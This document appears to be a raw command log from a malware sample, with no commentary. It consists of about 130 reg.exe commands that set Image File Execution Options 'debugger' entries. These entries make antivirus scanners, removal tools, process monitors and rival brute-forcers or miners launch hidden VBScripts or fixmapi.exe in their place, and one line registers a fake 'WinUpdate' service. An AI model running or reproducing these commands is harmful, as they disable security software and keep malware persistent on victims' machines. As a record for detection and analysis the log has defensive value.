'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswclear5.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Tcpview.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDWelcome.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUBrute.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PccNT.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BWMeter.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KPortScan3.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ForcerX+__.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Cain.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RDPSS.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\safesurf.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SVRTgui.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xscan_gui.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avz.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDTools.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bot.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSys_Monitor.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Process Explorer.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\autoruns.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Dr.Web.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\massscan_launcher.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.v...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NLBrute1.2.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RDP Brute_Cracked.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs"...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\KVRT.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NLBrute 1.2 x64.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmpenc_st.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\anvirlauncher.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Pastebin Spider.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wfcs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wfc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SYSTEM\CurrentControlSet\services\_wfcs" /v "ImagePath" /t REG_SZ /d "WinUpdate" /f
'%WINDIR%\syswow64\cmd.exe' /S /D /c" ver"
'%WINDIR%\syswow64\find.exe' "5.1"
'%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 1
'%WINDIR%\syswow64\tasklist.exe'
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ess.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hscangui.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Pauscher.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NL.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\szndesktop.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NLBrute.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brute.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srs.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srs.exe.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NetMonitor.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\GDSC.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ESETPoweliksCleaner.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\revshow.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgarkt.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Ad-Aware.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Private Keeper.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\turbomailer.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svdhost.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\frdpb_v2.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\aswclear.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pr.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WindowsUpdate.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\OpenHardwareMonitor.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs"...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NLBrute 1.2.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AnVir.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\framework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\runtime.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemExplorer.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\netframework.vbs"...
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhostw.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CcmEventCollector.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smsdefrag.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CcmService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sitehelp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cefutil.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\romserver.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minerd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wasppacer.exe" /v "debugger" /t REG_SZ /d "ipz2.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ApVxdWin.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSROL.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVENGINE.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WebProxy.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrafInspRep.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TrafInsp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ipz.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ipz2.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winscp.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\task.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Microsoft.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winlogon.exe.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dwwin.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NmService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WebProtectorPlus.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUMeter.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SSScheduler.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tcpscvs.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SDShred.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\InjectWinSockServiceV3.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\minergate-service.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cssrs.exe" /v "debugger" /t REG_SZ /d "cmd /c start /MIN wscript //nologo %WINDIR%\fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regsvr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QHSafeMain.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NableAVDBridge.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SUPERANTISPYWARE.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscnhlp2.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SASCORE.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SASCORE64.EXE" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\srcver.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\command.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\jusched.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DUMeterSvc.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\soqkci.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\help.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Wasppacer.exe" /v "debugger" /t REG_SZ /d "ipz.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ciprotect.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\IProtectorService.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dcsrv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftPage.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winmm.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcefrend.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\endpointservice.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\epag.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\auditd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fwnrww.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zam.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\endpointintegration.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cdhtr.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rthdcpd.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nsl.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpx.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dll32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sound.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\updateservice.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spm.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msrtn32.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsserv.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
'%WINDIR%\syswow64\reg.exe' Add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NmTaskTray.exe" /v "debugger" /t REG_SZ /d "fixmapi.exe" /f
